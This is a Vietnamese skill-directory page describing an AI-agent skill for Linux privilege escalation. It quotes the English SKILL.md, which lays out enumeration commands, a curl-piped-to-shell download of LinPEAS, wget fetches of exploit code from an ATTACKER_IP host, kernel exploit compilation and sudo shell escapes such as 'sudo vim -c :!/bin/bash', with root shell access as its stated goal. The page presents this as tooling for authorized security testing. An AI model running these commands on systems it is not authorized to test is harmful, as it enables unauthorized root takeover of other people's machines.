Chuyển đến nội dung
Skillpedia
Bảo mật33k · #9060

Linux Privilege Escalation

Skill này làm gì

Skill này hướng dẫn agent AI rà soát hệ thống Linux để tìm điểm yếu leo thang đặc quyền. Skill dành cho người kiểm thử bảo mật và quản trị viên hệ thống có văn bản cho phép.

Khi nào nên dùng

  • ✓Khi bạn rà soát một máy chủ Linux để tìm các thiết lập cho phép người dùng thường trở thành root.
  • ✓Khi bạn muốn kiểm tra quy tắc sudo, tệp có quyền đặc biệt và các tác vụ định kỳ có điểm yếu.
  • ✓Khi bạn cần báo cáo về rủi ro leo thang đặc quyền và cách tăng cường bảo mật cho máy chủ Linux.

Liên kết skill

https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/linux-privilege-escalation/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/davila7/claude-code-templates/blob/main/cli-tool/components/skills/security/linux-privilege-escalation/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể rà soát máy chủ Linux của chúng tôi xem có quy tắc sudo hoặc tác vụ định kỳ nào cho phép người dùng thường lấy được quyền root không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent liệt kê các thiết lập, quy tắc và tác vụ của hệ thống, so sánh với các mẫu rủi ro đã biết, rồi báo cáo những gì tìm được.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Linux Privilege Escalation

Purpose

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.

Inputs / Prerequisites

Required Access

  • Low-privilege shell access to target Linux system
  • Ability to execute commands (interactive or semi-interactive shell)
  • Network access for reverse shell connections (if needed)
  • Attacker machine for payload hosting and receiving shells

Technical Requirements

  • Understanding of Linux filesystem permissions and ownership
  • Familiarity with common Linux utilities and scripting
  • Knowledge of kernel versions and associated vulnerabilities
  • Basic understanding of compilation (gcc) for custom exploits

Recommended Tools

  • LinPEAS, LinEnum, or Linux Smart Enumeration scripts
  • Linux Exploit Suggester (LES)
  • GTFOBins reference for binary exploitation
  • John the Ripper or Hashcat for password cracking
  • Netcat or similar for reverse shells

Outputs / Deliverables

Primary Outputs

  • Root shell access on target system
  • Privilege escalation path documentation
  • System enumeration findings report
  • Recommendations for remediation

Evidence Artifacts

  • Screenshots of successful privilege escalation
  • Command output logs demonstrating root access
  • Identified vulnerability details
  • Exploited configuration files

Core Workflow

Phase 1: System Enumeration

Basic System Information

Gather fundamental system details for vulnerability research:

# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch

User and Permission Enumeration

# Current user context
whoami
id

# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false

# Users with home directories
cat /etc/passwd | grep home

# Group memberships
groups

# Other logged-in users
w
who

Network Information

# Network interfaces
ifconfig
ip addr

# Routing table
ip route

# Active connections
netstat -antup
ss -tulpn

# Listening services
netstat -l

Process and Service Enumeration

# All running processes
ps aux
ps -ef

# Process tree view
ps axjf

# Services running as root
ps aux | grep root

Environment Variables

# Full environment
env

# PATH variable (for hijacking)
echo $PATH

Phase 2: Automated Enumeration

Deploy automated scripts for comprehensive enumeration:

# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -t

# Linux Smart Enumeration
./lse.sh -l 1

# Linux Exploit Suggester
./les.sh

Transfer scripts to target system:

# On attacker machine
python3 -m http.server 8000

# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Phase 3: Kernel Exploits

Identify Kernel Version

uname -r
cat /proc/version

Search for Exploits

# Use Linux Exploit Suggester
./linux-exploit-suggester.sh

# Manual search on exploit-db
searchsploit linux kernel [version]

Common Kernel Exploits

Kernel Version Exploit CVE
2.6.x - 3.x Dirty COW CVE-2016-5195
4.4.x - 4.13.x Double Fetch CVE-2017-16995
5.8+ Dirty Pipe CVE-2022-0847

Compile and Execute

# Transfer exploit source
wget http://ATTACKER_IP/exploit.c

# Compile on target
gcc exploit.c -o exploit

# Execute
./exploit

Phase 4: Sudo Exploitation

Enumerate Sudo Privileges

sudo -l

GTFOBins Sudo Exploitation

Reference https://gtfobins.github.io for exploitation commands:

# Example: vim with sudo
sudo vim -c ':!/bin/bash'

# Example: find with sudo
sudo find . -exec /bin/sh \; -quit

# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'

# Example: less with sudo
sudo less /etc/passwd
!/bin/bash

LD_PRELOAD Exploitation

When env_keep includes LD_PRELOAD:

Câu hỏi thường gặp

Skill kiểm tra những thiết lập Linux nào?

Skill kiểm tra quyền sudo, các tệp SUID, cron job, capabilities, cài đặt PATH và cấu hình NFS.

Skill có giúp sửa lỗi không?

Có. Skill hữu ích để tăng cường bảo mật cho hệ thống sau khi tìm thấy điểm yếu.

Có cần quyền truy cập đặc biệt không?

Skill giả định bạn có một shell với quyền thấp trên hệ thống mà bạn được phép kiểm thử.

Chi tiết

Mô tả gốc của tác giả

This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.

repo: davila7/claude-code-templates

Độ phổ biến

Sao GitHub
33k
Vị trí xếp hạng
#9060
Giấy phép
MIT
Cập nhật
2/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự